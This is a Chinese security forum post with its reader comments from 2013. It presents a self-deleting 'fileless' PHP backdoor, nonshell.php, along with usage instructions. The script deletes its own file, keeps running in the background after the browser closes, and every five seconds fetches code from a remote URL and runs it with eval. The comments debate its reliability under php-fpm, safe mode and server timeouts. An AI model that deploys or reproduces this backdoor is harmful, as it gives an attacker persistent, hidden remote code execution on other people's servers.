PHP 无文件后门的意思是驻在 php 后台中的 shell。驻留在内存中在后台循环执行命令,可以删掉文件,关掉浏览器,只要服务器进程不重启,可以一直在运行。

nonshell.php

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://xsser.me/eval.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>

eval.txt

file_put_contents('1.txt','hello world '.time());

使用方式

nonshell.php 传到服务器之后访问一次他会自删除。但,依然会在后台执行 eval.txt 中的代码。

停止执行

删除或清空 eval.txt。

缺点

服务器或WEB容器一重启后门就没了。

[原文地址]

相关讨论:

1#

0x2b (作死的节奏) | 2013-10-07 21:09

不就是远程包含文件吗.. 赞!

2#

EDI | 2013-10-07 21:45

还是要写文件啊,不如把后门直接写程序里

3#

juuxdd (["'<$ /_\> & ]) | 2013-10-07 21:53

赞~

4#

Ki11 (??????????????????????????????????) | 2013-10-07 22:04

很牛逼啊

5#

法海 | 2013-10-07 22:26

思路很厉害,资源占用如何?会把cpu占满吗?

6#

z7y (我从前有个很好的小伙伴,他叫VIP,后来他死了。) | 2013-10-07 22:39

@法海 啊啊啊.法海基...多久没上扣了!

7#

法海 | 2013-10-08 00:20

@z7y 忘记多久了

8#

Ivan | 2013-10-08 01:13

远程文件包含

9#

暴暴 | 2013-10-08 01:37

NB。明天试试。

10#

z7y (我从前有个很好的小伙伴,他叫VIP,后来他死了。) | 2013-10-08 02:55

@法海 速度上上上!!!扯几句- 0 -.哈哈

11#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2013-10-08 08:38

已感谢,谢LZ分享,思路霸气

12#

国士无双 (我来找快乐。) | 2013-10-08 09:52

非常给力!

13#

园长 (乱码你好,乱码再见。) | 2013-10-08 10:43

想法挺有意思的

14#

GaRY | 2013-10-08 10:58

思路很不错,想法赞一个。

不过貌似有几个缺点:

1、好歹用个try之类的语法,一旦eval.txt出错,就不执行了。

2、独占一个worker进程,估计php-fpm之类的进程少了很容易被消耗。

3、对于apache或者iis之类的webserver来说,本身有个执行的最长timeout限制,可能会kill掉(mod_php或者isapi之类的形式)。

15#

Sogili (.) 长短短 (.) | 2013-10-08 11:56

@GaRY

1.eval 出错我这测试是不影响后面运行的,另外加了抑错符 (@).

2.会独占进程?

3.我这测试设置了 set_time_limit(0) 运行1天以上没有问题.

16#

_Evil (尘俗当中有太多人 相识过爱不到) | 2013-10-08 13:10

@Sogili 受服务器限制,安全模式之下就不行了

17#

winsyk | 2013-10-08 13:24

不算新思路了,類似前幾年掛馬的思路。。

18#

无敌L.t.H (:‮端异是都乳贫持支Ѿ乳巨是须必神肉) | 2013-10-08 16:33

这也叫无文件……

19#

GaRY | 2013-10-08 17:01

@Sogili 独占进程和你形式有关,php-fpm和cgi模式会独占一个。其他的不会。同理,如果是php-fpm模式运行的,也不会有运行时间限制。mod_php之类的方式,时间限制也得看webserver自身是怎么设置的。

eval出错,我是说如果eval.txt里出了语法错误之类。。这个我没测试,猜一下可能会中断。

20#

botak | 2013-10-08 19:40

@Sogili set_time_limit() 设置了也没多大用 ignore_user_abort(true); 这个我能告诉你。10个服务器我测试9个都不能么。太不稳定了。

21#

Sct7p | 2013-10-08 21:52

安全模式无效

22#

xiaoming (老子奶是朝山麻花藤) | 2013-10-09 14:12

没有太大用处,allow_url_include默认是不开启的。

23#

Sogili (.) 长短短 (.) | 2013-10-09 14:28

@botak 我测试了10个服务器有9个可以。

@Sct7p 有几个服务器开了?开了有几个主流应用能运行?另外最新版php 5.4已经废除了安全模式。

@xiaoming 难道不是allow_url_open ?

24#

whirlwind (息壤最大代理商,北京/香港不限内容云服务器,五线BGP/10兆独享/4千兆硬防,备案/可信,QQ493633628,海外服务器请联系Mujj-------------------------------------------------------无损音乐网 http://wusunyinyue.cn----------------------月色仍如昔,江上有归帆!-----------------------------) | 2013-11-23 23:41

一下就扫出来了吧,同22楼,wamp默认配置不允许的。好多都不允许

25#

0x0F (..........................................................................................................................................................................................................................................................) | 2013-11-23 23:51

@whirlwind 他是file_get_contents,不是include.